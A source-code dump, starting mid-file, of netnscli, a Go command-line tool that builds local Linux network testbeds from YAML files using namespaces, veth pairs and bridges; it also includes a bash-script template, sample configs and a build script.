| } 94 | 95 | // SetCurrent sets a namespace by it's name 96 | func SetCurrent(name string) error { 97 | log.Debugf("setting %s namespace", name) 98 | nsHandle, err := netns.GetFromName(name) 99 | if err != nil { 100 | return fmt.Errorf("failed to get namespace %s: %v", name, err) 101 | } 102 | defer nsHandle.Close() 103 | 104 | err = netns.Set(nsHandle) 105 | if err != nil { 106 | return fmt.Errorf("failed to set %s as current namespace", name) 107 | } 108 | 109 | log.Debugf("%s namespace set", name) 110 | return nil 111 | } 112 | -------------------------------------------------------------------------------- /pkg/model/network_element.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | // NetworkElement is the interface representation of a network node (veth pair, bridge, namespace, ...) 4 | type NetworkElement interface { 5 | Create() error 6 | Delete() error 7 | } 8 | -------------------------------------------------------------------------------- /pkg/model/veth_pair.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | log "github.com/sirupsen/logrus" 8 | "github.com/vishvananda/netlink" 9 | "github.com/vishvananda/netns" 10 | ) 11 | 12 | // TODO: Create const file 13 | var defaultNs = "default" 14 | 15 | // VethPair represents a pair of veth interfaces 16 | type VethPair struct { 17 | P1 Interface `yaml:"p1"` 18 | P2 Interface `yaml:"p2"` 19 | } 20 | 21 | var _ NetworkElement = &VethPair{} 22 | 23 | // Interface represents a single interface of the veth couple 24 | type Interface struct { 25 | Name string `yaml:"name"` 26 | Namespace string `yaml:"namespace"` 27 | Address string `yaml:"address" validate:"ipv4,ipv6"` 28 | } 29 | 30 | // setNamespace brings the interface to its p.Namespace 31 | func (i Interface) setNamespace() error { 32 | if i.Namespace == defaultNs { 33 | return nil 34 | } 35 | log.Debugf("setting %s namespace to the %s interface", i.Namespace, i.Name) 36 | 37 | link, err := netlink.LinkByName(i.Name) 38 | if err != nil { 39 | return err 40 | } 41 | 42 | nsHandle, err := netns.GetFromName(i.Namespace) 43 | if err != nil { 44 | return err 45 | } 46 | defer nsHandle.Close() 47 | 48 | if err := netlink.LinkSetNsFd(link, int(nsHandle)); err != nil { 49 | return err 50 | } 51 | 52 | log.Debugf("%s is now in the %s namespace", i.Namespace, i.Namespace) 53 | return nil 54 | } 55 | 56 | // up brings up the interface 57 | func (i Interface) up() error { 58 | log.Debugf("bringing up %s interface", i.Name) 59 | if i.Namespace != defaultNs { 60 | SetCurrent(i.Namespace) 61 | } 62 | 63 | link, err := netlink.LinkByName(i.Name) 64 | if err != nil { 65 | return err 66 | } 67 | 68 | if err := netlink.LinkSetUp(link); err != nil { 69 | return err 70 | } 71 | 72 | SetProgramNamespace() 73 | 74 | log.Debugf("%s interface up", i.Name) 75 | return nil 76 | } 77 | 78 | // addAddress add an ip address to the interface 79 | func (i Interface) addAddress() error { 80 | log.Debugf("adding %s ip address to %s interface", i.Address, i.Name) 81 | if i.Namespace != defaultNs { 82 | SetCurrent(i.Namespace) 83 | } 84 | 85 | link, err := netlink.LinkByName(i.Name) 86 | if err != nil { 87 | return err 88 | } 89 | 90 | // TODO: The address is validated when the configuration is parsed from the yaml 91 | // maybe this check is useless 92 | if i.Address != "" { 93 | addr, err := netlink.ParseAddr(i.Address) 94 | if err != nil { 95 | return err 96 | } 97 | 98 | if err := netlink.AddrAdd(link, addr); err != nil { 99 | return err 100 | } 101 | } 102 | 103 | SetProgramNamespace() 104 | 105 | log.Debugf("ip %s added to %s interface", i.Address, i.Name) 106 | return nil 107 | } 108 | 109 | // Create instantiate the veth peer, brings up both interfaces and assigns the 110 | // right address to each interface in case they have one 111 | func (pair VethPair) Create() error { 112 | log.Debugf("creating veth pair [%s, %s]", pair.P1.Name, pair.P2.Name) 113 | linkAttrs := netlink.NewLinkAttrs() 114 | linkAttrs.Name = pair.P1.Name 115 | veth := &netlink.Veth{ 116 | LinkAttrs: linkAttrs, 117 | PeerName: pair.P2.Name, 118 | } 119 | 120 | err := netlink.LinkAdd(veth) 121 | if err != nil { 122 | return fmt.Errorf("failed to add veth pair: %v", err) 123 | } 124 | 125 | if err := pair.P1.setNamespace(); err != nil { 126 | return fmt.Errorf("failed to set namespace for veth interface %s: %v", pair.P1.Name, err) 127 | } 128 | 129 | if err := pair.P2.setNamespace(); err != nil { 130 | return fmt.Errorf("failed to set namespace for veth interface %s: %v", pair.P1.Name, err) 131 | } 132 | 133 | if err := pair.P1.addAddress(); err != nil { 134 | return fmt.Errorf("failed to set address for veth interface %s: %v", pair.P1.Name, err) 135 | } 136 | 137 | if err := pair.P2.addAddress(); err != nil { 138 | return fmt.Errorf("failed to set address for veth interface %s: %v", pair.P1.Name, err) 139 | } 140 | 141 | if err := pair.P1.up(); err != nil { 142 | return fmt.Errorf("failed to bring up veth interface %s: %v", pair.P1.Name, err) 143 | } 144 | 145 | if err := pair.P2.up(); err != nil { 146 | return fmt.Errorf("failed to bring up veth interface %s: %v", pair.P1.Name, err) 147 | } 148 | 149 | log.Debugf("veth pair [%s, %s] created", pair.P1.Name, pair.P2.Name) 150 | return nil 151 | } 152 | 153 | // Delete uninplemented 154 | func (pair VethPair) Delete() error { 155 | panic(errors.ErrUnsupported) 156 | } 157 | -------------------------------------------------------------------------------- /pkg/root/root.go: -------------------------------------------------------------------------------- 1 | package root 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/thinruling/netnscli/pkg/create" 7 | "github.com/thinruling/netnscli/pkg/delete" 8 | "github.com/thinruling/netnscli/pkg/model" 9 | "github.com/thinruling/netnscli/pkg/script" 10 | log "github.com/sirupsen/logrus" 11 | "github.com/spf13/cobra" 12 | "github.com/vishvananda/netns" 13 | ) 14 | 15 | const ( 16 | logo = ` 17 | _ _ ___ _____ _ _ ___ ___ _ ___ 18 | | \| | __|_ _| \| / __|/ __| | |_ _| 19 | | . | _| | | | ' \__ \ (__| |__ | | 20 | |_|\_|___| |_| |_|\_|___/\___|____|___| 21 | 22 | netnscli creates and manages local network testbed 23 | ` 24 | ) 25 | 26 | var verbose bool 27 | 28 | // rootCmd represents the base command when called without any subcommands 29 | var rootCmd = &cobra.Command{ 30 | Use: "netnscli", 31 | Short: "netnscli creates a local network testbed", 32 | Long: logo, 33 | Run: nil, 34 | } 35 | 36 | // Execute adds all child commands to the root command and sets flags appropriately. 37 | // This is called by main.main(). It only needs to happen once to the rootCmd. 38 | func Execute() { 39 | err := rootCmd.Execute() 40 | if err != nil { 41 | os.Exit(1) 42 | } 43 | } 44 | 45 | func init() { 46 | rootCmd.AddCommand(create.Cmd) 47 | rootCmd.AddCommand(delete.Cmd) 48 | rootCmd.AddCommand(script.Cmd) 49 | 50 | rootCmd.PersistentFlags().BoolVar(&verbose, "debug", false, "Show a more verbose output logs") 51 | 52 | cobra.OnInitialize(initLogger, initProgramNamespace) 53 | } 54 | 55 | func initLogger() { 56 | if verbose { 57 | log.SetLevel(log.DebugLevel) 58 | } else { 59 | log.SetLevel(log.InfoLevel) 60 | } 61 | } 62 | 63 | func initProgramNamespace() { 64 | namespaceHandle, err := netns.Get() 65 | if err != nil { 66 | panic("could not get the current namespace") 67 | } 68 | model.ProgramNamespace = namespaceHandle 69 | } 70 | -------------------------------------------------------------------------------- /pkg/script/script.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "os" 5 | "text/template" 6 | 7 | "github.com/thinruling/netnscli/pkg/testbed" 8 | log "github.com/sirupsen/logrus" 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | var ( 13 | configurationFilePath string 14 | output string 15 | ) 16 | 17 | const ( 18 | defaultNs = "default" 19 | ) 20 | 21 | // Cmd represents the create command 22 | var Cmd = &cobra.Command{ 23 | Use: "script", 24 | Short: "Script creates a script from a yaml configuration file for a local network testbed", 25 | Long: `Starting from a yaml configuration it creates the script to create it.`, 26 | Run: func(cmd *cobra.Command, args []string) { 27 | testbed := testbed.FromFile(configurationFilePath) 28 | log.Debugf("Unmarshalled testbed: %+v", testbed) 29 | 30 | // Load the template from file 31 | tmpl, err := template.New("script").Funcs(template.FuncMap{ 32 | "isNotDefaultNamespace": func(namespace string) bool { 33 | return namespace != "" && namespace != defaultNs 34 | }, 35 | }).Parse(scriptTemplate) 36 | if err != nil { 37 | panic(err) 38 | } 39 | 40 | f, err := os.Create(output) 41 | if err != nil { 42 | log.Fatalf("Could not create %s: %s", output, err) 43 | } 44 | defer f.Close() 45 | 46 | // Execute the template and print to stdout 47 | err = tmpl.Execute(f, testbed) 48 | if err != nil { 49 | log.Errorf("Error executing template: %s", err) 50 | } 51 | }, 52 | } 53 | 54 | func init() { 55 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file") 56 | if err := Cmd.MarkFlagRequired("file"); err != nil { 57 | panic("Could not mark --file as a required flag") 58 | } 59 | Cmd.Flags().StringVarP(&output, "output", "o", "create_testbed.sh", "output script file (default is create_testbed.sh)") 60 | } 61 | -------------------------------------------------------------------------------- /pkg/script/script_template.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | const scriptTemplate = `#!/usr/bin/bash 4 | 5 | usage() { 6 | echo "netnscli usage:" 7 | echo "" 8 | echo "$0 [ACTION]" 9 | echo "" 10 | echo "ACTIONS" 11 | echo " apply Apply the testbed" 12 | echo "" 13 | echo " delete delete the testbed" 14 | echo "" 15 | } 16 | 17 | die() { 18 | echo "Unrecoverable error: $1" 19 | exit 1 20 | } 21 | 22 | apply() { 23 | # add namespaces 24 | {{range .Namespaces}}ip netns add {{.Name}} 25 | {{end}} 26 | # Create veth pairs 27 | {{- range .VethPairs}} 28 | ip link add {{.P1.Name}} type veth peer name {{.P2.Name}} 29 | 30 | {{- if isNotDefaultNamespace .P1.Namespace}} 31 | ip link set {{.P1.Name}} netns {{.P1.Namespace}}{{end}} 32 | {{- if isNotDefaultNamespace .P2.Namespace}} 33 | ip link set {{.P2.Name}} netns {{.P2.Namespace}}{{end}} 34 | 35 | {{- if .P1.Address}} 36 | {{- if isNotDefaultNamespace .P1.Namespace}} 37 | ip netns exec {{.P1.Namespace}} ip addr add {{.P1.Address}} dev {{.P1.Name}} 38 | {{- else}} 39 | ip addr add {{.P1.Address}} dev {{.P1.Name}} 40 | {{- end}} 41 | {{- end}} 42 | {{- if .P2.Address}} 43 | {{- if isNotDefaultNamespace .P2.Namespace}} 44 | ip netns exec {{.P2.Namespace}} ip addr add {{.P2.Address}} dev {{.P2.Name}} 45 | {{- else}} 46 | ip addr add {{.P2.Address}} dev {{.P2.Name}} 47 | {{- end}} 48 | {{- end}} 49 | 50 | {{- if isNotDefaultNamespace .P1.Namespace}} 51 | ip netns exec {{.P1.Namespace}} ip link set {{.P1.Name}} up 52 | {{- else}} 53 | ip link set {{.P1.Name}} up 54 | {{- end}} 55 | {{- if isNotDefaultNamespace .P2.Namespace}} 56 | ip netns exec {{.P2.Namespace}} ip link set {{.P2.Name}} up 57 | {{- else}} 58 | ip link set {{.P2.Name}} up 59 | {{- end}} 60 | {{end}} 61 | # Create and configure bridges 62 | {{- range $b := .Bridges}} 63 | ip link add name {{$b.Name}} type bridge 64 | ip link set {{$b.Name}} up 65 | {{- range $i := .Interfaces}} 66 | ip link set {{$i}} master {{$b.Name}} 67 | {{- end}} 68 | {{end}} 69 | } 70 | 71 | delete() { 72 | {{- range $b := .Bridges}} 73 | {{- range $i := .Interfaces}} 74 | ip link set {{$i}} nomaster 75 | {{- end}} 76 | {{- end}} 77 | {{range .Namespaces}} 78 | ip netns del {{.Name}} 79 | {{- end}} 80 | {{range .Bridges}} 81 | ip link del {{.Name}} 82 | {{- end}} 83 | } 84 | 85 | if [ -z $1 ]; then 86 | die "You must specify an action between apply and delete" 87 | fi 88 | 89 | if [ $1 == "apply" ]; then 90 | apply 91 | elif [ $1 == "delete" ]; then 92 | delete 93 | else 94 | die "$1 is not an existing netnscli action" 95 | fi 96 | ` 97 | -------------------------------------------------------------------------------- /pkg/testbed/testbed.go: -------------------------------------------------------------------------------- 1 | package testbed 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | 8 | "github.com/thinruling/netnscli/pkg/model" 9 | "gopkg.in/yaml.v3" 10 | ) 11 | 12 | type Configuration struct { 13 | Namespaces []model.Namespace `yaml:"namespaces" validate:"required"` 14 | VethPairs []model.VethPair `yaml:"veth_pairs"` 15 | Bridges []model.Bridge `yaml:"bridges"` 16 | IPForwarding bool `yaml:"ip_forwarding"` 17 | } 18 | 19 | func FromFile(path string) *Configuration { 20 | data, err := os.ReadFile(path) 21 | if err != nil { 22 | log.Fatalf("Error reading configuration file: %v", err) 23 | } 24 | 25 | // Unmarshal the YAML into the Configuration struct 26 | var config Configuration 27 | err = yaml.Unmarshal(data, &config) 28 | if err != nil { 29 | log.Fatalf("Error unmarshalling configuration file: %v", err) 30 | } 31 | 32 | return &config 33 | } 34 | 35 | func (c *Configuration) networkNodes() []model.NetworkElement { 36 | nodes := []model.NetworkElement{} 37 | 38 | for _, ns := range c.Namespaces { 39 | nodes = append(nodes, ns) 40 | } 41 | 42 | for _, vp := range c.VethPairs { 43 | nodes = append(nodes, vp) 44 | } 45 | 46 | for _, br := range c.Bridges { 47 | nodes = append(nodes, br) 48 | } 49 | 50 | return nodes 51 | } 52 | 53 | func (c *Configuration) Apply() error { 54 | testbedNodes := c.networkNodes() 55 | 56 | for in := range testbedNodes { 57 | node := testbedNodes[in] 58 | if err := node.Create(); err != nil { 59 | return err 60 | } 61 | } 62 | 63 | return nil 64 | } 65 | 66 | func (c *Configuration) Delete() error { 67 | // delete all namespaces 68 | if err := c.DeleteNamespaces(); err != nil { 69 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete namespaces"), err) 70 | } 71 | 72 | // delete bridges 73 | for _, bridge := range c.Bridges { 74 | if err := bridge.Delete(); err != nil { 75 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete local testbed"), err) 76 | } 77 | } 78 | 79 | return nil 80 | } 81 | 82 | func (c *Configuration) DeleteNamespaces() error { 83 | for _, namespace := range c.Namespaces { 84 | if err := namespace.Delete(); err != nil { 85 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete namespace"), err) 86 | } 87 | } 88 | 89 | return nil 90 | } 91 | 92 | // TODO add macvaln type 93 | -------------------------------------------------------------------------------- /pkg/validator/validator.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/go-playground/validator/v10" 7 | ) 8 | 9 | // TODO: Must be tested properly. 10 | // ValidateConfiguration takes a configuration and validates it using the tags defined in the struct 11 | func ValidateConfiguration(configuration interface{}) error { 12 | // Validate the Config struct 13 | validate := validator.New(validator.WithRequiredStructEnabled()) 14 | 15 | err := validate.Struct(configuration) 16 | if err != nil { 17 | // Handle validation errors 18 | for _, err := range err.(validator.ValidationErrors) { 19 | if err.Param() != "" { 20 | return fmt.Errorf("validation error on field %s. Tag %s, %s", err.Field(), err.Tag(), err.Param()) 21 | } else { 22 | return fmt.Errorf("validation error on field %s. Tag: %s", err.Field(), err.Tag()) 23 | } 24 | } 25 | } 26 | return nil 27 | } 28 | -------------------------------------------------------------------------------- /samples/scripts/test_ipv4_simple.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | usage() { 4 | echo "netnscli usage:" 5 | echo "" 6 | echo "$0 [ACTION]" 7 | echo "" 8 | echo "ACTIONS" 9 | echo " apply Apply the testbed" 10 | echo "" 11 | echo " delete delete the testbed" 12 | echo "" 13 | } 14 | 15 | die() { 16 | echo "Unrecoverable error: $1" 17 | exit 1 18 | } 19 | 20 | apply() { 21 | # add namespaces 22 | ip netns add ns1 23 | ip netns add ns2 24 | ip netns add ns3 25 | 26 | # Create veth pairs 27 | ip link add veth-ns1 type veth peer name veth-bridge-ns1 28 | ip link set veth-ns1 netns ns1 29 | ip netns exec ns1 ip addr add 192.168.1.1/24 dev veth-ns1 30 | ip netns exec ns1 ip link set veth-ns1 up 31 | ip link set veth-bridge-ns1 up 32 | 33 | ip link add veth-ns2 type veth peer name veth-bridge-ns2 34 | ip link set veth-ns2 netns ns2 35 | ip netns exec ns2 ip addr add 192.168.1.2/24 dev veth-ns2 36 | ip netns exec ns2 ip link set veth-ns2 up 37 | ip link set veth-bridge-ns2 up 38 | 39 | ip link add veth-ns3 type veth peer name veth-bridge-ns3 40 | ip link set veth-ns3 netns ns3 41 | ip netns exec ns3 ip addr add 192.168.1.3/24 dev veth-ns3 42 | ip netns exec ns3 ip link set veth-ns3 up 43 | ip link set veth-bridge-ns3 up 44 | 45 | ip link add veth-ns1-ns3 type veth peer name veth-ns3-ns1 46 | ip link set veth-ns1-ns3 netns ns1 47 | ip link set veth-ns3-ns1 netns ns3 48 | ip netns exec ns1 ip addr add 192.168.2.1/24 dev veth-ns1-ns3 49 | ip netns exec ns3 ip addr add 192.168.2.2/24 dev veth-ns3-ns1 50 | ip netns exec ns1 ip link set veth-ns1-ns3 up 51 | ip netns exec ns3 ip link set veth-ns3-ns1 up 52 | 53 | # Create and configure bridges 54 | ip link add name bridge0 type bridge 55 | ip link set bridge0 up 56 | ip link set veth-bridge-ns3 master bridge0 57 | 58 | ip link add name bridge1 type bridge 59 | ip link set bridge1 up 60 | ip link set veth-bridge-ns1 master bridge1 61 | ip link set veth-bridge-ns2 master bridge1 62 | 63 | } 64 | 65 | delete() { 66 | ip link set veth-bridge-ns3 nomaster 67 | ip link set veth-bridge-ns1 nomaster 68 | ip link set veth-bridge-ns2 nomaster 69 | 70 | ip netns del ns1 71 | ip netns del ns2 72 | ip netns del ns3 73 | 74 | ip link del bridge0 75 | ip link del bridge1 76 | } 77 | 78 | if [ -z $1 ]; then 79 | die "You must specify an action between apply and delete" 80 | fi 81 | 82 | if [ $1 == "apply" ]; then 83 | apply 84 | elif [ $1 == "delete" ]; then 85 | delete 86 | else 87 | die "$1 is not an existing netnscli action" 88 | fi 89 | -------------------------------------------------------------------------------- /samples/yamls/test_ipv4.yaml: -------------------------------------------------------------------------------- 1 | namespaces: 2 | - name: ns1 3 | description: "Namespace 1" 4 | - name: ns2 5 | description: "Namespace 2" 6 | - name: ns3 7 | description: "Namespace 3" 8 | - name: ns4 9 | description: "Namespace 4" 10 | - name: ns5 11 | description: "Namespace 5" 12 | - name: ns6 13 | description: "Namespace 6" 14 | 15 | 16 | veth_pairs: 17 | - name: veth-ns1-bridge 18 | p1: 19 | namespace: ns1 20 | name: veth-ns1 21 | address: 192.168.1.1/24 22 | p2: 23 | namespace: default 24 | name: veth-bridge-ns1 25 | 26 | - name: veth-ns2-bridge 27 | p1: 28 | namespace: ns2 29 | name: veth-ns2 30 | address: 192.168.1.2/24 31 | p2: 32 | namespace: default 33 | name: veth-bridge-ns2 34 | 35 | - name: veth-ns3-bridge 36 | p1: 37 | namespace: ns3 38 | name: veth-ns3 39 | address: 192.168.1.3/24 40 | p2: 41 | namespace: default 42 | name: veth-bridge-ns3 43 | 44 | - name: veth-ns1-ns3 45 | p1: 46 | namespace: ns1 47 | name: veth-ns1-ns3 48 | address: 192.168.2.1/24 49 | p2: 50 | namespace: ns3 51 | name: veth-ns3-ns1 52 | address: 192.168.2.2/24 53 | 54 | - name: veth-ns4-ns5 55 | p1: 56 | namespace: ns4 57 | name: veth-ns4-ns5 58 | address: 192.169.2.1/24 59 | p2: 60 | namespace: ns5 61 | name: veth-ns5-ns4 62 | address: 192.169.2.2/24 63 | 64 | - name: veth-ns4-ns6 65 | p1: 66 | namespace: ns4 67 | name: veth-ns4-ns6 68 | address: 192.170.2.1/24 69 | p2: 70 | namespace: ns6 71 | name: veth-ns6-ns4 72 | address: 192.170.2.2/24 73 | 74 | 75 | bridges: 76 | - name: br0 77 | description: "Bridge for connecting ns1, ns2, and ns3" 78 | interfaces: 79 | - veth-bridge-ns3 80 | - name: br1 81 | description: "Bridge for connecting ns1, ns2, and ns3" 82 | interfaces: 83 | - veth-bridge-ns1 84 | - veth-bridge-ns2 85 | -------------------------------------------------------------------------------- /samples/yamls/test_ipv4_simple.yaml: -------------------------------------------------------------------------------- 1 | namespaces: 2 | - name: ns1 3 | description: "Namespace 1" 4 | - name: ns2 5 | description: "Namespace 2" 6 | - name: ns3 7 | description: "Namespace 3" 8 | 9 | veth_pairs: 10 | - name: veth-ns1-bridge 11 | p1: 12 | namespace: ns1 13 | name: veth-ns1 14 | address: 192.168.1.1/24 15 | p2: 16 | namespace: default 17 | name: veth-bridge-ns1 18 | 19 | - name: veth-ns2-bridge 20 | p1: 21 | namespace: ns2 22 | name: veth-ns2 23 | address: 192.168.1.2/24 24 | p2: 25 | namespace: default 26 | name: veth-bridge-ns2 27 | 28 | - name: veth-ns3-bridge 29 | p1: 30 | namespace: ns3 31 | name: veth-ns3 32 | address: 192.168.1.3/24 33 | p2: 34 | namespace: default 35 | name: veth-bridge-ns3 36 | 37 | - name: veth-ns1-ns3 38 | p1: 39 | namespace: ns1 40 | name: veth-ns1-ns3 41 | address: 192.168.2.1/24 42 | p2: 43 | namespace: ns3 44 | name: veth-ns3-ns1 45 | address: 192.168.2.2/24 46 | 47 | bridges: 48 | - name: bridge0 49 | description: "Bridge for connecting and ns3" 50 | interfaces: 51 | - veth-bridge-ns3 52 | - name: bridge1 53 | description: "Bridge for connecting ns1, ns2" 54 | interfaces: 55 | - veth-bridge-ns1 56 | - veth-bridge-ns2 57 | -------------------------------------------------------------------------------- /samples/yamls/test_ipv6.yaml: -------------------------------------------------------------------------------- 1 | namespaces: 2 | - name: ns1 3 | description: "Namespace 1" 4 | - name: ns2 5 | description: "Namespace 2" 6 | - name: ns3 7 | description: "Namespace 3" 8 | 9 | veth_pairs: 10 | - name: veth-ns1-bridge 11 | p1: 12 | namespace: ns1 13 | name: veth-ns1 14 | address: fd00:1::1/64 15 | p2: 16 | namespace: default 17 | name: veth-bridge-ns1 18 | 19 | - name: veth-ns2-bridge 20 | p1: 21 | namespace: ns2 22 | name: veth-ns2 23 | address: fd00:1::2/64 24 | p2: 25 | namespace: default 26 | name: veth-bridge-ns2 27 | 28 | - name: veth-ns3-bridge 29 | p1: 30 | namespace: ns3 31 | name: veth-ns3 32 | address: fd00:1::3/64 33 | p2: 34 | namespace: default 35 | name: veth-bridge-ns3 36 | 37 | - name: veth-ns1-ns3 38 | p1: 39 | namespace: ns1 40 | name: veth-ns1-ns3 41 | address: fd00:2::1/64 42 | p2: 43 | namespace: ns3 44 | name: veth-ns3-ns1 45 | address: fd00:2::2/64 46 | 47 | bridges: 48 | - name: br0 49 | description: "Bridge for connecting ns1, ns2, and ns3" 50 | interfaces: 51 | - veth-bridge-ns1 52 | - veth-bridge-ns2 53 | - veth-bridge-ns3 54 | -------------------------------------------------------------------------------- /scripts/bin_build_netnscli.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SCRIPTS_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &>/dev/null && pwd) 4 | PROJECT_DIR=$SCRIPTS_DIR/.. 5 | BIN_DIR=$PROJECT_DIR/bin 6 | CMD_DIR=$PROJECT_DIR/cmd 7 | 8 | GO=${GO:-go} 9 | GOOS=${GOOS:-linux} 10 | GOARCH=${GOARCH:-amd64} 11 | 12 | set -x -e 13 | 14 | # TODO: replace hardcoded ldflags with values coming from env 15 | eval "CGO_ENABLED=0 GOOS=$GOOS GOARCH=$GOARCH \ 16 | $GO build -ldflags='-s -w' $GO_BUILD_FLAGS -o $BIN_DIR/$BIN $CMD_DIR/main.go" 17 | 18 | --------------------------------------------------------------------------------